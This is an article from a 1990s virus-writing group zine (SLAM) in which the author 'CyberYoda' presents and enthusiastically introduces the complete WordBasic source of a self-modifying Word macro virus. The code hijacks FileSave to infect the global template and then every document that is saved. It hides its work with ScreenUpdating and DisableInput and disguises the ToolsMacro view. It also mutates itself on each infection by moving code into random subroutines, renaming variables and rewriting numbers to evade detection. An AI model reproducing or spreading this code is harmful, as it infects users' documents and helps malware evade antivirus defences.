Copy Link
Add to Bookmark
Report
SLAM3.004: The Vicissator Macro Virus by CyberYoda [SLAM]
[ WordMacro. Vicissator ]-----------
˛ VIRUS NAME: VICISSITATOR
˛ SIZE: Varies
˛ ORIGIN: United States
˛ AUTHOR: CyberYoda
->Self Modifying Yes
->Stealth Yes
->Encrypted No
->Retro No
------------------------------------The Vicissator Macro Virus
by CyberYoda a member of SLAM
After writing a few macro viruses and watching them spread, I got bored at how every single one of my viruses looked the same generation after generation. I thought to myself, I wonder if it is possible to create one that modified itself so that it looked different after each infection. This would at least give me something to watch for. So I decided to try to write a self modifying macro virus.
The problem with a self modifying macro virus is that it must try its hardest not to screw itself into non virulent macro. Of course natural selection would select those out...but I didn't want to create 100 non working macro viruses to one working macro virus.
So are you wondering how I achieved this trick? Well its pretty simple in theory. I had the macro look at its code and select a section of it. I had error checkers check that section to see if it met the requirements of being safe to move. If it did it just simply cut the section out, replaced it with a Call statement, and moved the cut section to the end where it became a new subroutine.
I added some other nifty things too.
A subroutine that would take the new sub and move it back to where it came from. This kept it from growing larger and larger, and could lead to many new variations. A subroutine that would rename some variables in the macro. A subroutine that would change numbers into equations.
A subroutine that would insert a random If Then statement.
And a subroutine that would delete a random section of code.
I would like to warn you that I have not been able to fully test this baby. Unlike other predictable macro viruses, this one has a lot of routines based on random numbers. That makes it incredibly difficult to test. For I never know if I got all the bugs out.
One day I hope to be able to write a fully evolving macro virus. Now wouldn't that be cool?
OK, here is the source code:
-----------------------------------------------------------------------------
MACRO: FileSave
~~~~~~~~~~~~~~~~
Dim Shared A As FileSaveAs' All variables need to be Dimmed Shared
Dim Shared B ' so that they will work in separate subs.
Dim Shared Bad
Dim Shared D
Dim Shared lines
Dim Shared LinestoGoDown
Dim Shared line$
Dim Shared N
Dim Shared Name$
Dim Shared Name2$
Dim Shared Num$
Dim Shared Num
Dim Shared RndLine
Dim Shared Rnd_Line$
Dim Shared Rnd_Len
Dim Shared Rnd_Sub$
Dim Shared Rnd_Num
Dim Shared Rnd_Var$
Dim Shared Start
Dim Shared For_There
Dim Shared Else_If_There
Dim Shared End_If_There
Dim Shared Next_There
Dim Shared While_There
Dim Shared Wend_There
Dim Shared Then_There
Dim Shared Var$
Sub MAIN
On Error Goto Z' Error handler for Cancel
DisableInput ' Always a good Idea, no interrupting
GetCurValues A
' If the document hasn't been save show the Dialog Box.
If Left$(WindowName$(), 8) = "Document" Then Dialog A
If Left$(WindowName$(), 8) = "Template" Then Dialog A
'Change Formats
If ((A.Format = 0) Or (A.Format = 1) Or (A.Format = 2)) Then
A.Format = 1
'Check for Macros
For B = 1 To CountMacros(0)
If MacroName$(B, 0) = "FileSave" Then N = 1
Next B
For B = 1 To CountMacros(1)
If MacroName$(B, 1) = "FileSave" Then D = 1
Next B
If N <> 1 Then
'Infect Global
MacroCopy WindowName$() + ":FileSave", "Global:FileSave"
'Make A ToolsMacro
MacroCopy "Global:FileSave", "Global:ToolsMacro"
'This is Important. Doesn't display all the good code.
'Without this, This macro virus would probably not spread very well.
ScreenUpdating 0
'Open ToolsMacro
ToolsMacro .Name = "ToolsMacro", .Edit
'Clear that Macro Out
StartOfDocument
EndOfDocument 1
'Insert New Macro with Simple Payload. They probably won't see it though.
'I put it there so they would Name it right, and give credit it to slam,
'It also a pretty good stealth routine.
Insert "Sub Main" + Chr$(13)
Insert "'You have been Infected by the Vicissitator Macro Virus."
Insert Chr$(13) + "'(C)1997 CyberYoda A Member of the SLAM Virus Team" + Chr$(13)
Insert "End Sub"
'Close the Doc and save it.
DocClose 1
'Allow them to see again.
ScreenUpdating 1
'Time to Infect A Doc
ElseIf N = 1 And D <> 1 Then
'Make a Copy of FileSave as Vicissitator
MacroCopy "Global:FileSave", "Global:Vicissitator"
'This isn't necessary but tells them its processing.
WaitCursor 1
'The don't get to see the good stuff.
ScreenUpdating 0
'Open it for Editing
ToolsMacro .Name = "Vicissitator", .Edit
'This is the Coolest macro, and the hardest one. Jump down to see it.
Call Mutate
'This Macro undoes the damage of Mutate
If Rnd() < 0.25 Then Call UnMutate
'This Macro Renames variables in the Code
If Rnd() < 0.25 Then Call ReVar
'This Macro Changes the Numbers around,
'but still retains their original Value
If Rnd() < 0.25 Then Call NumChange
'Inserts a New If Then Statement
If Rnd() < 0.1 Then Call NewLine
'This one is real risky, that's why it is set so low.
'It deletes random lines in the code, it can cause the macro to crash,
'or work improperly. But it could also delete code used for a search
'string. Not likely, but I thought it was worth the risk.
If Rnd() < 0.0039 Then Call DelLine
'Close and Save the Document
DocClose 1
'Copy Vicissitator to the now Infected doc as FileSave
MacroCopy "Global:Vicissitator", WindowName$() + ":FileSave"
'Delete it now, for it has served its purpose.
ToolsMacro .Name = "Vicissitator", .Delete
'I allow them to see again.
ScreenUpdating 1
'Take off the WaitCursor
WaitCursor 0
End If
'Save the Sucker
FileSaveAs A
'Jump to Z, otherwise it would save it twice.
Goto Z :
End If
'This is the other FileSave, it works if its not infecting.
FileSave
Z:
End Sub
'This Sub is the most Important and Problematic Sub
Sub Mutate
'Goto the Start of Vicissator and count the number of lines.
StartOfDocument
lines = 0
While LineDown()
lines = lines + 1
Wend
'We are going down a random number of times, so a Rnd num.
RndLine = Int(Rnd() * (lines))
StartOfDocument
LineDown RndLine
'Now we select a random number of lines in the center of the Macro
StartOfLine
RndLine = Int(Rnd() * (lines - Rndline)) + 1
'I put this in because it took to long to search 25 lines, and end up
'With a bad selection, it could be taken out...or Vicissator could
'Select it with DelLine for Deletion. :-)
If RndLine > 10 Then RndLine = 10
'Get a selection.
LineDown RndLine, 1
'Okay, here's the tricky part, we have to get a random selection, but 'make sure when its moved it doesn't cause unnecessary errors.
'We are going to check every single line for errors.
Start = 1
For B = 1 To RndLine
'Ugh the Ugly part. I separate the selection by looking for a Chr$(13) 'at the end of the line.
If InStr(Start, Selection$(), Chr$(13)) <> 0 Then
'This is a single line in the selection.
line$ = Mid$(Selection$(), Start, InStr(Start, Selection$(), Chr$(13)) - Start)
Else
Bad = 1
End If
'OK the following are lines you don't want to move.
' Stuff like Dim, and Subs
If Left$(line$, 3) = "Sub" Or Left$(line$, 3) = "Dim" Then
Bad = 1
'Don't want to move End Sub or On Error
ElseIf Left$(line$, 7) = "End Sub" Or Left$(line$, 2) = "On" Then
Bad = 1
'This is for the Label Z:
ElseIf Right$(line$, 1) = ":" Then
Bad = 1
'Another Tricky part. How to deal with these If then Statements?
'And While Wends, and For Nexts. Well lets see if there are any and
'lets count them.
'Deals with ElseIfs and Ifs.
ElseIf Right$(line$, 4) = "Then" Then
Call Short
'Deals with End Ifs
ElseIf Right$(line$, 2) = "If" Then
End_If_There = End_If_There + 1
'Deals with While and Wend, and Whiles have to be before Wend_there
'Otherwise sometimes you end up with wend, and then while. Which would
'Result in an error.
ElseIf Left$(line$, 5) = "While" And While_There + 1 > Wend_There Then
While_There = While_There + 1
ElseIf Left$(line$, 4) = "Wend" Then
Wend_There = Wend_There + 1
'Same thing as for While and Wends except for its for Nexts and Fors.
ElseIf Left$(line$, 3) = "For" And For_There + 1 > Next_There Then
For_There = For_There + 1
ElseIf Left$(line$, 4) = "Next" Then
Next_There = Next_There + 1
End If
'This makes sure it goes onto the next line in the selection.
Start = InStr(Start, Selection$(), Chr$(13)) + 1
Next B
'OK if you don't have the same number of Fors and Nexts and Whiles and
'Wends you get an error.
If For_There <> Next_There Or While_There <> Wend_There Then Bad = 1
'You have to have the same number of Thens and End Ifs.
If Then_There <> End_If_There Then Bad = 1
'You can't have an ElseIf without an If
If Else_If_There > 0 And Then_There = 0 Then Bad = 1
'You can't have an ElseIf without an End If
If Else_If_There > 0 And End_If_There = 0 Then Bad = 1
'If the selection isn't bad, it must be good, LETS MUTATE IT.
If Bad <> 1 Then
'Cut it
EditCut
'We need a Random Sub name
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Sub$ = Chr$(Int(Rnd() * 25) + 65)
For B = 2 To Rnd_Len
Rnd_Sub$ = Rnd_Sub$ + Chr$(Int(Rnd() * 25) + 97)
Next B
'In Place of The selection we put a call
Insert "Call " + Rnd_Sub$ + Chr$(13)
'We go to the bottom
EndOfDocument
'Insert the New Sub
Insert Chr$(13) + "Sub " + Rnd_Sub$ + Chr$(13)
EditPaste
Insert "End Sub"
End If
End Sub
Sub Short
'Part of Mutate, checking those Darn If Thens
If Left$(line$, 2) = "If" And Then_There + 1 > Else_If_There Then
Then_There = Then_There + 1
ElseIf Left$(line$, 4) = "Else" Then
Else_If_There = Else_If_There + 1
Else
Bad = 1
End If
End Sub
'Lets undo the subs UnMutate has Done.
Sub UnMutate
StartOfDocument
'We need to find a Call
EditFind .Find = "Call"
'If we find one, lets move it to were it came from.
If EditFindFound() <> 0 Then
'Select the Line where it comes from.
StartOfLine
EndOfLine 1
'Lets find the Name of the Sub now.
Name$ = Selection$()
Name$ = Right$(Name$, Len(Name$) - 5)
Name$ = Left$(Name$, Len(Name$) - 1)
EditFindClearFormatting
EndOfLine
'Lets go find where its pointing to.
Name2$ = "Sub " + Name$
EditFind .Find = Name2$
'Sense we don't know how long the Sub is lets find out.
LineDown
StartOfLine
EndOfLine 1
LinesToGoDown = 0
While Right$(Selection$(), 8) <> "End Sub" + Chr$(13)
LineDown
StartOfLine
EndOfLine 1
LinestoGoDown = LinestoGoDown + 1
Wend
'Lets Grab the Doc
StartOfDocument
EditFind .Find = Name2$
'Get rid of the Sub Line
StartOfLine
EndOfLine 1
StartOfLine
'Get the Main Sub
LineDown LinestoGoDown, 1
EditCut
'Get Rid of the End Line
StartOfLine
EndOfLine 1
'Find the starting point again
StartOfDocument
EditFind .Find = "Call " + Name$
'Put the Cut Sub back into the other Sub
EditPaste
'Get rid of the Call line
StartOfLine
EndOfLine 1
EndIf
End Sub
'This is a fun short Sub Renaming my Variables to garbage
Sub ReVar
'Number of lines in the document
StartOfDocument
lines = 0
While LineDown()
lines = lines + 1
Wend
'How do we know it is a variable? Well variables usually have an equal 'sign. There are exceptions, but this is good enough.
StartOfDocument
LineDown Int(Rnd() * lines) + 1
EditFind .Find = "=", .Wrap = 1
'If we find an equal sign...
If EditFindFound() <> 0 Then
'We need to know which variable it is.
StartOfLine 1
Var$ = RTrim$(Selection$())
Var$ = Right$(Var$, Len(Var$))
If InStr(1, Var$, " ") <> 0 Then
'OK this is the Variable Name
Var$ = Right$(Var$, Len(Var$) - InStr(1, Var$, " "))
End If
'We need to create a new random variable name
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Var$ = Chr$(Int(Rnd() * 25) + 65)
For B = 2 To Rnd_Len
Rnd_Var$ = Rnd_Var$ + Chr$(Int(Rnd() * 25) + 97)
Next B
'If it is a string, add Chr$(36) to the end.
If InStr(1, Var$, Chr$(36)) <> 0 Then
Rnd_Var$ = Rnd_Var$ + Chr$(36)
EndIf
'And its a simple EditReplace to Rename all the Variables
EditReplace .Find = Var$, .Replace = Rnd_Var$, .ReplaceAll, .WholeWord = 1, .Wrap = 1
End If
End Sub
'This sub changes the numbers into mathematical equations which equal 'the same amount as the original number.
Sub NumChange
StartOfDocument
'We always need to find the length
lines = 0
While LineDown()
lines = lines + 1
Wend
StartOfDocument
'Lets find a digit somewhere in the macro
LineDown Int(Rnd() * lines) + 1
EditFind .Find = Chr$(48 + Int(Rnd() * 10))
'If we do...
If EditFindFound() <> 0 Then
'Edit it so that we have the entire Number
WordLeft
WordRight 1, 1
Num$ = Selection$()
Num$ = RTrim$(Num$)
Num = Val(Num$)
'Lets create the random equation
Rnd_Num = Int(Rnd() * 10) + 1
'Lets be random and pick a random way of creating a Random equation
If Rnd() < 0.25 Then
'Multiplication!
If Num / Rnd_Num = Int(Num / Rnd_Num) Then Insert LTrim$(Str$(Num / Rnd_Num)) + " *" + Str$(Rnd_Num) + " "
ElseIf Rnd() < 0.25 Then
'Division!
Insert LTrim$(Str$(Num * Rnd_Num)) + " /" + Str$(Rnd_Num) + " "
ElseIf Rnd() < 0.25 Then
'Subtraction!
Insert "(" + LTrim$(Str$(Num + Rnd_Num)) + " -" + Str$(Rnd_Num) + ") "
Else
'Addition!
Insert "(" + LTrim$(Str$(Num - Rnd_Num)) + " +" + Str$(Rnd_Num) + ") "
End If
End If
End Sub
'Enters a random If Then Statement
Sub NewLine
'Get the number of lines
StartOfDocument
lines = 0
While LineDown()
lines = lines + 1
Wend
StartOfDocument
'Another Random LineDown
LineDown Int(Rnd() * lines) + 1
'Making sure you enter the If Then in a Sub
EditFind .Find = "Sub ", .Wrap = 1
LineDown
StartOfLine
'Lets Create some random variables
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Line$ = Chr$(Int(Rnd() * 25) + 65)
For B = 2 To Rnd_Len
Rnd_Line$ = Rnd_Line$ + Chr$(Int(Rnd() * 25) + 97)
Next B
'Insert the If and Rnd Variable and Equal Sign
Insert "If " + Rnd_Line$ + " = "
'We need another variable...preferably random.
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Line$ = Chr$(Int(Rnd() * 25) + 65)
For B = 2 To Rnd_Len
Rnd_Line$ = Rnd_Line$ + Chr$(Int(Rnd() * 25) + 97)
Next B
'Insert the second random variable
Insert rnd_line$ + " Then "
'Another Random Var
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Line$ = Chr$(Int(Rnd() * 25) + 65)
For B = 2 To Rnd_Len
Rnd_Line$ = Rnd_Line$ + Chr$(Int(Rnd() * 25) + 97)
Next B
'Well an If then wouldn't be complete unless it reset a variable
Insert Rnd_Line$ + " = "
'One more random Variable...This time a number.
Rnd_Len = Int(Rnd() * 10) + 2
Rnd_Line$ = Chr$(Int(Rnd() * 9) + 49)
For B = 2 To Rnd_Len
Rnd_Line$ = Rnd_Line$ + Chr$(Int(Rnd() * 9) + 48)
Next B
'Lets have it equal this number
Insert Rnd_Line$ + Chr$(13)
End Sub
'The most potentially interesting subroutine. This one is VERY risky.
'It could be edited out, but I like gambling sometimes.
Sub DelLine
StartOfDocument
'Line Count
lines = 0
While LineDown()
lines = lines + 1
Wend
StartOfDocument
LineDown Int(Rnd() * lines) + 1
'We need to make sure it is in a Sub
EditFind .Find = "Sub ", .Wrap = 1
StartOfLine
LineDown
'Go down some more...This time select it.
LineDown Int(Rnd() * lines), 1
EndOfLine 1
'Bye Bye Lines!
EditClear
End Sub
-----------------------------------------------------------------------------
I hope you liked it.
- CyberYoda -
